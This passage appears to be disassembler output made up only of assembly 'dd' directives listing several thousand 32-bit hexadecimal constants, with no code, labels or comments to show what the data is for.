		dd 7FB59D2Dh, 0DE2F9C52h, 72B08095h, 0CDB139Ah,	33134850h
		dd 2E2F6F34h, 0F1A48B57h, 0C7D47DDCh, 279C871Ah, 45B06446h
		dd 2E464A9Dh, 0D41904D7h, 9DBBC751h, 0F9017521h, 0F2CDE698h
		dd 5FB0A8A6h, 0E91B50C7h, 0C352EE8h, 6456B453h,	0D959A3B2h
		dd 0F26C1DACh, 0AD26D304h, 3E0109E4h, 32500D8Bh, 40930C4Dh
		dd 0C155B81Dh, 0EEDFA53Dh, 7C24E404h, 9D1F452h,	828652F4h
		dd 0DD637713h, 1235394Ah, 0CCB4F8F2h, 0E87C4229h, 45F5F637h
		dd 56FAF5D1h, 5BFAD261h, 0B4E324DCh, 23664D45h,	8AA8CFFh
		dd 0EFF665E5h, 3B1A6240h, 0C36F904Eh, 94BB16B1h, 257852C3h
		dd 0C6B731ABh, 0B5F85EBAh, 25D719A7h, 0C2F69ADBh, 7D0EBE22h
		dd 0B9D77C3h, 97777CC5h, 0BE3A47BBh, 1867FED3h,	78F82037h
		dd 6A752A2h, 0BBD32D0Bh, 0C3D92D22h, 28C9B390h,	90AC690Fh
		dd 0A92E8D46h, 6D16517h, 1F694516h, 9339CBC3h, 0A134C35Ah
		dd 0D49DD40Ch, 5DF89E36h, 2B0BA3BDh, 3783E092h,	364292FCh
		dd 47C66CF3h, 0C0FC7D12h, 91DF357Dh, 19130DC5h,	4F31ABh
		dd 1732997Fh, 25756743h, 833B6955h, 0B78D35E6h,	1709F06Dh
		dd 580B410h, 908E6DBDh,	80AF34F5h, 16BE7A4Eh, 759EC4h
		dd 3BADF0EEh, 8DA728BBh, 39BA63C1h, 0D292B876h,	0F72BBE1Fh
		dd 8EA86CF0h, 92FDA4D5h, 0AEC4B0D1h, 4DEFB22Fh,	33F70C87h
		dd 23154A05h, 5DECA088h, 69840664h, 2B0352D1h, 654F049Dh
		dd 5630C1CCh, 0EE5A10B6h, 0D8823E78h, 0AA25F655h, 10D3B9EBh
		dd 9CED09D9h, 0FE96E31Bh, 3D942E76h, 7F10323Bh,	368F3121h
		dd 5C5DDFD1h, 0E494D039h, 0CBBFFA56h, 1C24193h,	0AC3110B0h
		dd 30836F80h, 335D0281h, 8E825417h, 0C3421885h,	0A38E0B62h
		dd 6481002Ch, 7DD67666h, 74FEE02h, 1716ABC8h, 7670E00Ch
		dd 7C22207Dh, 21C4BE32h, 9BE1A55Bh, 11180430h, 749DE7CCh
		dd 0BBD354F1h, 0AD6B41BEh, 6AEC703Ch, 0B36CAFC6h, 0B19F5D84h
		dd 0CB430548h, 0AE842365h, 0C07A231Ah, 0E1B57E24h, 0FAF10B1Eh
		dd 0A8D12581h, 992353A6h, 0DF80B3E7h, 8A862566h, 14B18DCAh
		dd 0C81E05D5h, 7441C233h, 86A979EFh, 2580FFCAh,	24037B1Ch
		dd 0A5429621h, 0B619697Fh, 934B7601h, 7E64C3F3h, 0BA707151h
		dd 19A3D6A1h, 27811F7Ah, 6279E69Bh, 0A830B10Ah,	52836070h
		dd 8BE84382h, 0BBFCA31Dh, 338F1EFh, 4A64AE8Fh, 0C251124Ah
		dd 6A1B8C72h, 234CD0D5h, 3C6B76B6h, 0D7D062D6h,	4C1A9488h
		dd 52D36E6Ch, 87FEF8CBh, 81FFC1h, 0CE197862h, 0D356EB66h
		dd 4BB8D490h, 0D9472127h, 70E89FB5h, 75142A1Dh,	0CE5EB5C6h
		dd 0D69EE9C4h, 0F25286F0h, 76D54871h, 0BDD8EE06h, 0CEFAA67Ah
		dd 1BED81FCh, 0BCF7E58Ch, 0C28BEC8Ch, 27F4A9D9h, 0BC3D899Ch
		dd 74491961h, 0F6E07B94h, 0DB61AFC3h, 0EADC3CAAh, 68F882CFh
		dd 1C99E12Bh, 9D15A2F9h, 0C89837FDh, 799C8D7Eh,	0E216FD6Ch
		dd 0FAD73670h, 764CF63Dh, 0FF65EEBFh, 8DF3A4EAh, 139784F8h
		dd 0A005D1C7h, 26E6B732h, 7D364730h, 0F3C697FEh, 396DEDEBh
		dd 13E90E5Bh, 0A5241B88h, 385CF3D2h, 8FBCDF52h,	0C30058BFh
		dd 932F5650h, 6C31FEE4h, 20DFD61Eh, 0B44CE776h,	0C102CF6Ch
		dd 0E73C9055h, 54A3F38Ch, 74B6BD7Eh, 0A57BAA14h, 31946592h
		dd 253E4381h, 0AB8A55BBh, 6AA7D6B0h, 81C73065h,	44007FC4h
		dd 82A56C02h, 0FD5AB298h, 866CAE56h, 95BCF010h,	0D4BF8433h
		dd 2D7B2D06h, 0A056D47Ah, 2C8E73CAh, 45508EABh,	75EDD36Eh
		dd 4E4C8C42h, 43E45362h, 0F087B4C7h, 54948D64h,	4F55A798h
		dd 8BC56DF2h, 8783E81Eh, 0BCE4D8CBh, 79E7D8C9h,	0E9681F20h
		dd 52A7EA91h, 497A7391h, 0BB1FBA29h, 318600BCh,	7E97B539h
		dd 1F3FA52Eh, 0EA75AE27h, 0E6E50822h, 0FB87900Ch, 0FAC0E5E7h
		dd 85B4D12Dh, 956693DEh, 953D5F92h, 1EBDA738h, 7F0AC9B4h
		dd 4DCF2EEAh, 5393C2F2h, 50C606BEh, 4995E9E3h, 69131D5Ch
		dd 0C60D5D0Eh, 776EF6D9h, 754D754Ah, 15812BBAh,	4F0907A8h
		dd 0BAC48AD9h, 0D258F780h, 0F54B4626h, 9C88C08Ch, 0F2BDDBC9h
		dd 0F0F87492h, 393CEA85h, 6B07A717h, 0D54E0F87h, 3679D735h
		dd 0E8DEB0EFh, 0E66AC23Ch, 0E6110148h, 5F80C657h, 79CE84A3h
		dd 0EBFEE82Dh, 908778EAh, 0D498C911h, 0F7453994h, 4074AD6Eh
		dd 9F4836ECh, 719DB865h, 93FF36E9h, 6EBCA7F5h, 415C1A80h
		dd 22540812h, 0DDC6A1F4h
		dd 6B6E894Dh, 0ED085D93h, 0EA38887Bh, 0E50D2C47h, 18D60C15h
		dd 2532B22h, 1C3BCF26h,	3DB93334h, 0DA5208C2h, 0DA42EA81h
		dd 4165FD04h, 5D1271D8h, 0C8B9D6C0h, 0E765CDACh, 0B072F3D6h
		dd 0BD2EEE62h, 850F5B2Fh, 80A66976h, 65AAAA7Ch,	0C0080538h
		dd 81D5510Dh, 55C96C7Ch, 987FA2Dh, 355B2534h, 0CBE58B25h
		dd 0FABB31A5h, 0EC00EAA4h, 0D1E052C6h, 0B63B67C9h, 9B1AEBCDh
		dd 8ADA0E58h, 23A3CF7Eh, 34547604h, 987A486Dh, 0C1B6B64Eh
		dd 0FE101F70h, 4CD3404Eh, 2BA5F259h, 0E213C008h, 276F76CCh
		dd 0F99A7D26h, 0ACBDEA35h, 43AE4EFDh, 1F5F52B3h, 0D68F7A71h
		dd 0E6D9B81h, 1B06D6B5h, 1A6D8A81h, 1A27A4E7h, 68FEBE0Ch
		dd 0D020535Eh, 8CE6BC15h, 6CB9D9B1h, 99ED9180h,	0A928786Bh
		dd 0B4365388h, 9CDAA18Ch, 900254BBh, 1DB1A554h,	44AE8379h
		dd 41383051h, 6E76ACAFh, 0A56CC226h, 6CEC4F2Ch,	0B826A43Fh
		dd 71C5BD26h, 22FE9AEFh, 409E033Eh, 9115E6CDh, 493A1067h
		dd 0FD4D56F9h, 321A37BFh, 0D3E4E382h, 0FB9C9A5Ch, 0DB1959AAh
		dd 0D3567450h, 0DE73792Bh, 0A18ACEDBh, 3B1AF98Dh, 79C5C906h
		dd 7AA28ACEh, 3C1C05E7h, 94C6D498h, 7AF4C4FAh, 39F59719h
		dd 17179F80h, 0CAF4639Ah, 0A2342B36h, 42A31C35h, 0D6BAEF5Ch
		dd 3D643B26h, 0BE3D74E2h, 33E0AAF4h, 5416E305h,	0FF6F9DB4h
		dd 5F1EF73h, 0D794762Fh, 0FB7AA86h, 0A39B1AB6h,	594E057Eh
		dd 0EDB2EA35h, 0FF855929h, 16BDEE33h, 0DBC1EC52h, 7E392FF5h
		dd 0AAE75AE6h, 5BF4590Fh, 3B6E6550h, 0E8792BBh,	8084D4A8h
		dd 495DF657h, 97225EBFh, 21A26C66h, 3C777E43h, 4CE691B7h
		dd 0EF7652F5h, 0C67F9359h, 50B1FE7h, 7DD7776Eh,	4BD8F93h
		dd 26CA1BDh, 0AC6732DBh, 0D9B3920h, 7DFE654Ch, 877E588Eh
		dd 0FD22AF42h, 0DF577F1Dh, 2E262F38h, 730F90D9h, 214315D8h
		dd 0FDBE3266h, 48D4FF4Dh, 5B19798Dh, 57DC8646h,	5623621Ch
		dd 0E5C6A754h, 0CACBDCE6h, 4441C55Ch, 4C3EF0C3h, 0C21C11B9h
		dd 0C9DDB48Bh, 303E8C76h, 7EBB8165h, 38B2BA88h,	0D12B89A3h
		dd 63AF1E10h, 83F41AE8h, 0F55F765Ch, 0EE7DB98Dh, 0FC6B84C1h
		dd 0E3B02470h, 20287936h, 6EE5362h, 25106FA7h, 0CB1C908Ah
		dd 0A84EE789h, 135A6067h, 8A89DA1h, 7C8BB562h, 4350BB3Eh
		dd 6F0E0CB3h, 0A610B7BEh, 0E191F66Ch, 4F5B0F31h, 0BC129371h
		dd 2AF5152Bh, 5B2EC001h, 0B6644ABh, 0C7D3FA31h,	89DF44AEh
		dd 4B54C1A6h, 9F160C62h, 45BBA9DDh, 0E7A23BCDh,	0C746BF6Ah
		dd 0CE719A1Dh, 481CBB01h, 2ACA0770h, 920D48C7h,	0EB5BE308h
		dd 20DACAAh, 82CBEDB7h,	0E7B1EDE5h, 5FEB5CB4h, 0A8A40385h
		dd 0AD66A49h, 281C7DF7h, 65DB15FAh, 0F67D3233h,	0B552CB06h
		dd 0ADDD9E4Bh, 6983C936h, 85A9E3D5h, 8415A05Dh,	3DBFA5C3h
		dd 0A16F375Eh, 394B487Dh, 0B5F72C3Dh, 0D8B7315Ch, 0EBB438D4h
		dd 0CD372DE8h, 0F7F0FEABh, 69607704h, 471524FCh, 14C01630h
		dd 0FF43AD3Ah, 9704E82Fh, 20720B3Ah, 408116C8h,	22CD8409h
		dd 0D0C9312Fh, 0DA821D05h, 0A0CECAEDh, 944145A0h, 945101A3h
		dd 0BA06D94Dh, 2984177Ah, 933869B6h, 0F62DA5DDh, 0E880E2EAh
		dd 9158DF7Bh, 637D9443h, 0EE58E5E5h, 24BF19AEh,	0C4A9B355h
		dd 3CF036A2h, 2820CA83h, 805354C2h, 0B5202478h,	4CDC2394h
		dd 0BC0B6E44h, 27B9FBFDh, 535E77Fh, 72A9DE0Bh, 8CACB110h
		dd 0A95BFB0Eh, 63F772Dh, 6EF065D1h, 0AE5EC98Ah,	4C4F8FC7h
		dd 6EE46BD0h, 194B2826h, 32603208h, 0EB5A8C58h,	2B61F792h
		dd 4125FA6Bh, 4D47CCA3h, 0FA3445C9h, 0B36603C1h, 0EC7076BDh
		dd 0BA909540h, 58C44014h, 901BE800h, 6BDDEF09h,	0FE268E64h
		dd 432C6CEh, 76B866C5h,	43719188h, 8FEC3C0h, 0A694DF9Ah
		dd 43D7CF70h, 3D2862A2h, 16844386h, 0A64663AFh,	87BB98B1h
		dd 3B9417BBh, 0CE8475E8h, 63561A5Ah, 479D1E53h,	54DE083Bh
		dd 7F959A82h, 0E8693E62h, 36C796D7h, 14C8D8A2h,	2A47DC15h
		dd 0BC271531h, 0A0FC2C17h, 0B099F1E3h, 874D2DF0h, 0EC2EDE13h
		dd 759F8839h, 597C39EFh, 0C2C01C8Dh, 7A3BE00Dh,	68F6FE68h
		dd 5FC4E7E2h, 0FBBC0F16h, 0EF3523C7h, 4390E390h, 89F22F34h
		dd 0CB3DB812h, 0D115C3ABh, 0A24E3E58h, 8191F0D3h, 39A9720Bh
		dd 88F42FFFh, 64CAA1AEh, 0AB7C1F97h, 33893AF7h,	20F249F3h
		dd 44755F0Ah, 5311095Dh, 61238549h, 39A43E7Ah, 52E691CCh
		dd 0ACBB149Bh, 47B4AEAAh, 0FA81E268h, 0CE0492ABh, 2FED48CEh
		dd 47A0EF8Eh, 0F8015239h, 0D69331Bh, 0C6B34D4Bh, 0F4AC072Eh
		dd 0EA64054Ah, 677C2D6Fh, 0AB371329h, 1FE9DE7Dh, 74BE5B6Fh
		dd 587D4712h, 0F070719Ch, 0AFB8260Eh, 80F44CBFh, 36A03B35h
		dd 0E35136C3h, 0DCAB671Ch, 2985FC29h, 475F2F3Ah, 0EFEDC52Dh
		dd 61EB348Ah, 0C362422Fh, 312B463Eh, 0BBF2D46Dh, 0A6A68824h
		dd 0DB0047D2h, 2DDE1283h, 7FF6B990h, 0AF2FD7B6h, 0CE32082Ch
		dd 2C5BDB62h, 0DB48A211h, 0E419F379h, 0CF928656h, 15584B35h
		dd 8F825B9Ah, 0B9F2C79h, 0B48C91DDh, 9F021577h,	61D5F5E4h
		dd 5F275E76h, 3C87CAB7h, 0A0DB0518h, 323CF944h,	0F721598Bh
		dd 0F9110A95h, 6750B256h, 69D59A1Fh, 928243FDh,	0F9A317CAh
		dd 4BACC5E1h, 4D31A6C9h, 0AA52CFE6h, 21CF07BBh,	1302FB49h
		dd 5C534B42h, 0DCEFB53Bh, 0D5A13FDh, 7710E33Ah,	3EE7F099h
		dd 395980DBh, 94138979h, 0EA88240Bh, 26EFE4DBh,	64FFAB4Eh
		dd 184C4D90h, 0BD5EF1Ah, 167C2EBFh, 3316143h, 2A48293Ch
		dd 119CEFE6h, 0F656AE7Ch, 28116A01h, 0CB06AB3Eh, 52656EBEh
		dd 2EBED60Bh, 2F23A695h, 23A74C50h, 2651182Ch, 13541BD8h
		dd 87601EDBh, 1A91E90Eh, 9BA608DEh, 0CD39F8B4h,	0F8E8F743h
		dd 0B1BF1DB6h, 0FA4ECE9Fh, 4807E436h, 0C20432FFh, 0E73A9D17h
		dd 0AF105CD3h, 9C3EC2ABh, 4144AE04h, 9A364C13h,	0B35C64D5h
		dd 494D4D4h, 2CFE553Ah,	0FDA30EA7h, 862AB08Ah, 0BFE65A55h
		dd 49D6D7ABh, 0A3867FCFh, 0BC016F3Dh, 0B45FD507h, 903854C7h
		dd 0DF5C4683h, 6B5FD7BDh, 0E742322Ah, 9AA55BF4h, 0AEE59DB8h
		dd 692FED2Ch, 7536B929h, 6FFB6A8Eh, 8B380083h, 0B48F28B6h
		dd 0DC1991B4h, 9E4C03C2h, 330ACDC7h, 0DCF7FC9Eh, 6E2A0B17h
		dd 0E55F6993h, 21B34834h, 0F89FD68Fh, 97A107EFh, 0CBA2BBBDh
		dd 0F4A3E8CCh, 174BA096h, 0CA5264F0h, 0E85E4ED6h, 295B21C0h
		dd 0C0501797h, 3E1C8C4h, 4BEEC595h, 0E7741694h,	1BEFD0Bh
		dd 9A8AFC49h, 6BD4CA9Dh, 7C0FCB03h, 0CF79F8D7h,	638E39B2h
		dd 0E40F0599h, 8CC2CA0h, 0CD4DEB86h, 8B3E6947h,	66694CE1h
		dd 417304D8h, 413E5692h, 0F91A0A1Fh, 117E6BC7h,	9E52CFE1h
		dd 4D1C6AA7h, 886B2C65h, 4F349D37h, 0B6BBDAAh, 0CD43E8CCh
		dd 0AB31668Ah, 87954396h, 0C9C38C3Bh, 90EDD540h, 2FC56D41h
		dd 9CC2FC80h, 0E6A2F374h, 0A5687CAEh, 42AF7F91h, 896DF00Bh
		dd 4809EB75h, 4C861574h, 0A52F6701h, 5FDF80BEh,	1748C184h
		dd 72BE33A0h, 2BE5C614h, 20A92A7Eh, 0E5867D12h,	91461D4h
		dd 369D22E0h, 310EF7F4h, 21C80F30h, 31FCE20Dh, 3FCD50C9h
		dd 366F5D6Bh, 1CA22FC0h, 9431631Eh, 0B1A63447h,	3B30E47Ah
		dd 0FAA8359Dh, 0A87C1AA3h, 0DA566967h, 21368A0Ch, 0D18006E3h
		dd 88C402EEh, 371817AFh, 33A14B76h, 6C2F7B50h, 0A69D19A1h
		dd 0D98DC381h, 5B2A298Eh, 0F37397E9h, 149D64B8h, 50E6D9F5h
		dd 484FDED8h, 827E4329h
		dd 8575312Bh, 0E2CE4CF5h, 0A2868AB8h, 157B7ECFh, 4D1B3C91h
		dd 6016B775h, 56FF46E3h, 26442968h, 186A48ACh, 0BD3A279Ah
		dd 0CDBB0BECh, 9895CFB5h, 5B7A1F83h, 0AB9C5C19h, 7C8BF085h
		dd 2F8AB057h, 53C80573h, 46AD20F1h, 937A532h, 0D0528E7h
		dd 8BA2F7Dh, 214416ACh,	0C896C59Dh, 70D7F7DFh, 92D2FF2Bh
		dd 0CE879385h, 78A0A015h, 3B8F6B77h, 7544C0D6h,	7023494h
		dd 0F7F7F52Dh, 9DE94818h, 0EE8C30C2h, 8D4D16FEh, 82BC3495h
		dd 878A57AAh, 5F344090h, 0E125C59Fh, 64420918h,	3B696575h
		dd 6DFE16A9h, 0C030B5BEh, 0E1CC52A6h, 93D1535Bh, 0BF0FE6F8h
		dd 0DC401D5Fh, 0F7C683AAh, 4468CC61h, 2423D24Dh, 0AB5B91DBh
		dd 0A4A84479h, 588309B9h, 7E31404Eh, 1239CDBFh,	9BCF7147h
		dd 7888BF73h, 0FDC8ECFCh, 0DC024762h, 329956B9h, 9B91B828h
		dd 14DF9F87h, 82495E7Eh, 0C088EF0Eh, 9C783CA0h,	0A8E361F5h
		dd 83208EE1h, 0E9567964h, 157FAAFAh, 8AEB5594h,	0C9149A9h
		dd 7FD39D7Ah, 182D66BAh, 734D5636h, 5B7133C6h, 2D974A0h
		dd 0C3F04EE5h, 0CABCB038h, 8E8DB22Bh, 7E9D77FDh, 286E56E8h
		dd 97E267BAh, 875E1925h, 204AB561h, 4D02DF43h, 5F915EB4h
		dd 2CAB2EBEh, 0B3D5F05Ah, 407E110Bh, 1012A9E0h,	72CBE68h
		dd 0F46EC540h, 0C698E803h, 2F935B9Bh, 4AE6A99h,	0DD3C3C16h
		dd 0EFEBB8E7h, 32C3FEB7h, 81D4F99h, 3E324D37h, 0A56147FDh
		dd 4528DC24h, 1AD466F5h, 984BE278h, 0FC792C2Eh,	438368A8h
		dd 7AEACC02h, 0D49D709Eh, 0BD799DC7h, 0AC4AD7C0h, 0CBA6A5EEh
		dd 26A261A7h, 0A1C208FCh, 16ACD1E1h, 0CEB90182h, 5063DE9Dh
		dd 984AEF05h, 0DC6F52C9h, 69DD9EF3h, 6B170C57h,	9B200178h
		dd 2FCBCA66h, 81B1BC5Bh, 0DE9EA651h, 3B04D69Fh,	0FFDCAA93h
		dd 0AB3247C8h, 3C380D91h, 0E8993F49h, 9BF1EA6Eh, 47FD1D05h
		dd 0C864B02Dh, 123DE4ACh, 1F32005h, 8319DB41h, 3F31C5E5h
		dd 3EB8CE3Fh, 30B5C1CAh, 0F1642C04h, 0D3E0A1F8h, 0D9F7EB13h
		dd 592644E8h, 0BA7EB92Bh, 0BA571A2h, 63D275F7h,	5BA7D2FBh
		dd 0CCD00C5h, 68F57A37h, 11ECC603h, 930CF764h, 0BAA208AFh
		dd 0D0778564h, 836FB58Eh, 70B61C0Eh, 25815496h,	39D201D8h
		dd 5BD8F6B8h, 6F58E5E5h, 0EDB9DECFh, 0D1048916h, 0CA3634A8h
		dd 0DD598C37h, 80522130h, 9761EA52h, 1FE42B13h,	0C4B5E6FFh
		dd 98194E70h, 624FA452h, 607679E4h, 0E2A7B0C2h,	4C021F77h
		dd 0E18591C3h, 96FE3CDBh, 2EF8B3F1h, 6BC25B9Eh,	3ABC78BEh
		dd 514F319Ah, 0D244B0D2h, 10B23633h, 0D2A70987h, 68E035A1h
		dd 18ED756Eh, 233D1476h, 6085E3BCh, 825DA3B8h, 0C4665F03h
		dd 9084E7E9h, 0A601193Ah, 763B80A7h, 5D083D15h,	350F6332h
		dd 4772A831h, 677B637Fh, 0C5287D23h, 833DF81Eh,	0ECF1230Ah
		dd 0EB080FCFh, 1C5E5E1Fh, 57F18362h, 4EE1A0C7h,	6515E5C9h
		dd 0E4F36745h, 0E669E4F6h, 0D7B66556h, 894CB31Fh, 0C0F041D0h
		dd 2992E163h, 0B064583Eh, 0B78AEF00h, 7A291E24h, 5247306Dh
		dd 6A57A5DFh, 2CA64104h, 4637974Dh, 0EE062F43h,	0F3E2B24Fh
		dd 14AF3CBh, 3DE7BD1h, 93632453h, 4D43F0Fh, 5BDF61D9h
		dd 0E8AA8D7Bh, 7F01B8BEh, 0EB11FF87h, 6A08EA00h, 0E918F59Fh
		dd 0BDAABE15h, 8888A018h, 4A06198Ch, 475965E9h,	6F328294h
		dd 0D5968A78h, 0AB2E738Fh, 0FD946FD9h, 6E264208h, 0A90D5855h
		dd 2AAAE2EFh, 0A2DCD388h, 633BDA94h, 0BC05B3Eh,	0BD9CC095h
		dd 0C44F556Ch, 0E65114A7h, 0B5BBA979h, 61B77608h, 7526FB41h
		dd 0D5BF4BFCh, 19D239C8h, 91158E1Ah, 265F0961h,	6C8D2CAFh
		dd 5765768Dh, 227DCEB7h, 180207F1h, 0EA8400DDh,	0C2A9E982h
		dd 0FBA0D883h, 284B7DD2h, 82E315C5h, 47795CAFh,	0A4853195h
		dd 9EB49AD8h, 521831E0h, 0C8116B0Dh, 0EFDA53E9h, 0B71BBE44h
		dd 0CB2DCAA2h, 0F7E76050h, 6A83AF95h, 0B8D78100h, 0AEEDFB2Ch
		dd 8C3BCBC1h, 0F653ECF1h, 96C10824h, 8D8B4694h,	8F19532Ah
		dd 15BF8D4Fh, 77A16446h, 0B7E47594h, 0FF6DE1C7h, 90EB8138h
		dd 0FB231889h, 53DCA256h, 94464FC4h, 77210448h,	0BA3DB02Eh
		dd 0FD5DBFFFh, 0FFCE9452h, 0BB6A18C3h, 333A8301h, 49FF83E3h
		dd 72D56DC6h, 16A0726Eh, 0D90C18D1h, 6DF49E21h,	8A8AF345h
		dd 0A7D63B4Ah, 0BFDA69C9h, 0C52EF3F6h, 1A777F2Fh, 3190FB26h
		dd 4A4E52AFh, 7C177BBEh, 0CBC2295Bh, 61A3A039h,	52F0DC05h
		dd 8EF13D69h, 3808C8A0h, 0E6E7C948h, 1B2AF9C7h,	0F9EDABAFh
		dd 0ECCE7317h, 0A89C4806h, 5BF9D1D5h, 0ACE99EAh, 139F3733h
		dd 0D0570A34h, 4E9F2267h, 43EDD6EDh, 0D9A68D74h, 0E7094CDCh
		dd 95E8FA9Eh, 0A7545542h, 7BACBC21h, 2C480216h,	97D40305h
		dd 0CE8C8587h, 0A22919E8h, 67C51AC2h, 4834BF6Fh, 646A2F0Eh
		dd 0A5F9CD01h, 0AD3CCDFDh, 5669A544h, 1E76A50h,	0B578B07Fh
		dd 0D907A29h, 85757882h, 97A601BDh, 0B861E13Eh,	5E432AADh
		dd 0F2CB7F01h, 0CD6DE7E3h, 0C1CE1D6Bh, 8F65687h, 77368BA2h
		dd 0FF1B4A59h, 167C71F8h, 0F39969C2h, 8AC0C0D5h, 0C39F75AFh
		dd 0E9E10A26h, 2C888E87h, 0E85C054Bh, 17D2BAD5h, 0AEFE323Ah
		dd 9B5B1304h, 0E9ADF512h, 38732B50h, 0CD68996Dh, 0E81B7363h
		dd 0C4A2754Fh, 2B44AF99h, 52B8DE59h, 4D0593AFh,	0BA61DA92h
		dd 38E0D456h, 49EA9649h, 0DFAF7E31h, 4E3B4A0h, 31738C3Fh
		dd 52044F14h, 765F7573h, 0CBE15871h, 0FD1C2A5Dh, 912D1E86h
		dd 0DDD042A8h, 5355813Bh, 0D4181A8Dh, 2902FDC8h, 0AB615524h
		dd 0C9CE3ECFh, 37D791E6h, 98FCAD2h, 37BD0BA3h, 0A478C57Bh
		dd 0AF1A0CAAh, 0B7B1F39Dh, 0FF002C2Dh, 18003F89h, 0EBD0C6EAh
		dd 0A958027Bh, 2A4F57FDh, 81DF7ABFh, 0FB39DD83h, 12150833h
		dd 626EA759h, 89B8C39Ch, 41929FDBh, 90FEBBF0h, 3F9C173Dh
		dd 0F4AA1DC8h, 0CA9040CBh, 88D629Dh, 167D77h, 99C19965h
		dd 2F36FD8Ch, 2F272FA2h, 66DA80F4h, 28F8C885h, 436D13A4h
		dd 21AB7AE2h, 0F93D41A6h, 8F6C37C9h, 4F94B081h,	0F950811h
		dd 87667A35h, 0A503EEEFh, 3EEC53Fh, 81C9FD98h, 22023F28h
		dd 0F71212AAh, 0A9061A78h, 2D0D6D1Ah, 0AFF26F7Ah, 0C7AC55C2h
		dd 2253D7F8h, 0D9D0B2C4h, 714FB2B6h, 0CEAFF433h, 273D401Ch
		dd 189F6E6Fh, 9898B2EFh, 0EA29D597h, 397B426Dh,	7EF05062h
		dd 871A64F9h, 0C30BB8BCh, 0FD16E682h, 0CFF39D49h, 8F90A5BFh
		dd 17726535h, 6758473Dh, 6077B674h, 8E782FB9h, 0D1C3FF3Fh
		dd 0ED5E978h, 5EC913Dh,	5D5B1569h, 79292F5Ch, 3532963h
		dd 0A5E657D3h, 0F46879D6h, 53730056h, 4CC229E6h, 36D41B69h
		dd 7FB84D78h, 3E956ECDh, 0F67E9A83h, 0A44925C8h, 13AECF60h
		dd 341FD213h, 0BCA3A71Ch, 1E6E376Ch, 63B2827Ah,	70036757h
		dd 2D53285Ch, 9D83C866h, 0E326897Bh, 0A0C2453Fh, 0D0990364h
		dd 62BFDFDEh, 6E50C2A3h, 94F035E0h, 3397E8CDh, 23A9DB6Ch
		dd 2906292Fh, 16AC6129h, 3BE62686h, 0A8D7AB4h, 0CAF8336Fh
		dd 77B58134h, 9A6CF660h, 7053F99h, 7FB28959h, 31F2278Dh
		dd 0D5BC049Eh, 34D564F9h, 0B8EABBB1h, 3DA9DAFBh, 0ADDC061h
		dd 29D6F3C2h, 8013DB91h, 0EA4FF20h, 5607AD22h, 2EC188E3h
		dd 0BC94C924h, 0F66A1721h, 0F70826D1h, 458F5AC2h, 27FB899Ah
		dd 0E179D2A8h, 50D9004Fh, 7AB06BEEh, 0FF200F11h, 89BCE787h
		dd 0A9D5FC03h, 42B9FFF1h, 9DBE75D1h, 0BD7A2DB1h, 0D4BA1AF5h
		dd 0EC374E1Bh, 58504C70h
		dd 9DB673BAh, 3AC69EBFh, 13C11CE6h, 2F77C28Fh, 0B68C9FFh
		dd 0BA988CA2h, 0BFB60018h, 7BBF020Ch, 2415DD21h, 0BF3F3A2Eh
		dd 70846E99h, 6EBE9FF8h, 285869B8h, 6CE94E8Fh, 9944DB3Ch
		dd 7265F058h, 0BEE14ECDh, 0E2E1B79Bh, 4164A6Dh,	7B6C21D4h
		dd 0C3E0CAE1h, 936419E5h, 1976EEFDh, 3160A76Ah,	0F8C78535h
		dd 41B2C483h, 19E0AF46h, 4B75A167h, 0C066502Fh,	0F3AB4AE8h
		dd 21FE5286h, 6C2718C3h, 455D59F7h, 430F1759h, 0E82AF057h
		dd 624FED03h, 260F96BEh, 75C1631Fh, 4E204EE5h, 0F41DA764h
		dd 0A3014D99h, 48A7764Bh, 0AFB77AEFh, 4E45214Ah, 5CCE5D19h
		dd 64BD3357h, 0B1B1055Ch, 9760105Eh, 926D4AF1h,	6C8DDF77h
		dd 38DF8F40h, 0CEA7779Fh, 4E4DF8F3h, 46F193C8h,	699EF076h
		dd 0DC0B8342h, 0AECC86B3h, 0F0C527A6h, 0A762FED1h, 85C8F89Ch
		dd 0E8CC8AF0h, 0C5C7CA9Dh, 1AFC21F2h, 796240ECh, 0F26C3E50h
		dd 3B0C4E81h, 0A263653Ch, 0A6146BCDh, 105ED1Ah,	6A468236h
		dd 44238F7Ah, 0DB235459h, 0AE529A7Bh, 7D608887h, 3BE80244h
		dd 0F0D23B53h, 2572868Bh, 6E8D5EF3h, 0E40B921Eh, 9CAC3B4Ah
		dd 0A1E0163Ch, 121AC9Ch, 0A05A83DBh, 5FF153A7h,	0E7BC9605h
		dd 0A69D9449h, 17F60DBEh, 0EEF50B75h, 0A86E7F69h, 396D40DBh
		dd 9A13B357h, 0D83E217h, 3EC80531h, 69C68049h, 3300EA02h
		dd 58518147h, 3D3DD3B2h, 0E35034B8h, 8F87F80Bh,	1E3A310Eh
		dd 0E129BC0Dh, 6594ABE1h, 1C498CC7h, 4B7CC32Bh,	0C7915157h
		dd 869FA328h, 9F57B786h, 906489DAh, 60F1A362h, 6A6ACB87h
		dd 8CF15E4h, 10F0CC1Dh,	0AFA36D04h, 0A4125B26h,	0C7291099h
		dd 0EE31E62Fh, 20E26A26h, 0D42DFAFDh, 6134E6D2h, 0BAA9CCFDh
		dd 1E8B5551h, 2008890Ah, 9F57C399h, 1319FDD9h, 456E75B9h
		dd 12031864h, 42C5F5F9h, 2CAE4499h, 930CF151h, 0D3F8C42Dh
		dd 94684BFAh, 8829379Dh, 0DD8E688Dh, 83E10EB8h,	0C2E471C0h
		dd 0BA23058h, 0D131988Fh, 0C942F051h, 9D493BF5h, 0C9E7913Ch
		dd 739B38A9h, 64BF7ECAh, 7E5D60Fh, 0AC52DC1Ah, 6DCDEBFAh
		dd 94243F25h, 2475CD70h, 2B6177BBh, 0EE94DE3Bh,	8A7736E3h
		dd 0A2C0442h, 2CAEFC91h, 27B6D5CCh, 495BF04Dh, 0F48C848Dh
		dd 304C21F3h, 4E281C23h, 0CD42D3AEh, 0B780D727h, 0EAB68F65h
		dd 836623F3h, 23D7CBBBh, 0CF045EFCh, 0A00DD3E3h, 8E859872h
		dd 1F277684h, 9C590017h, 0EB4A7463h, 8B6E2A8Fh,	686E6143h
		dd 4CD0024h, 95682DB6h,	0D0A5E1E6h, 9534895Bh, 0D89DE6FCh
		dd 0DF3B4408h, 0C7C26591h, 6796A1FBh, 86C6DA9Eh, 43EA78Dh
		dd 25F4B34Dh, 7851D0BBh, 0A44309F2h, 0B60C9CD2h, 998F5D65h
		dd 68E6918Ch, 0B79829FBh, 2B356A4Dh, 0B816D324h, 7E9A7E36h
		dd 0F79C90B3h, 98859587h, 5FCC51ADh, 0B9E713B0h, 59B0BE3h
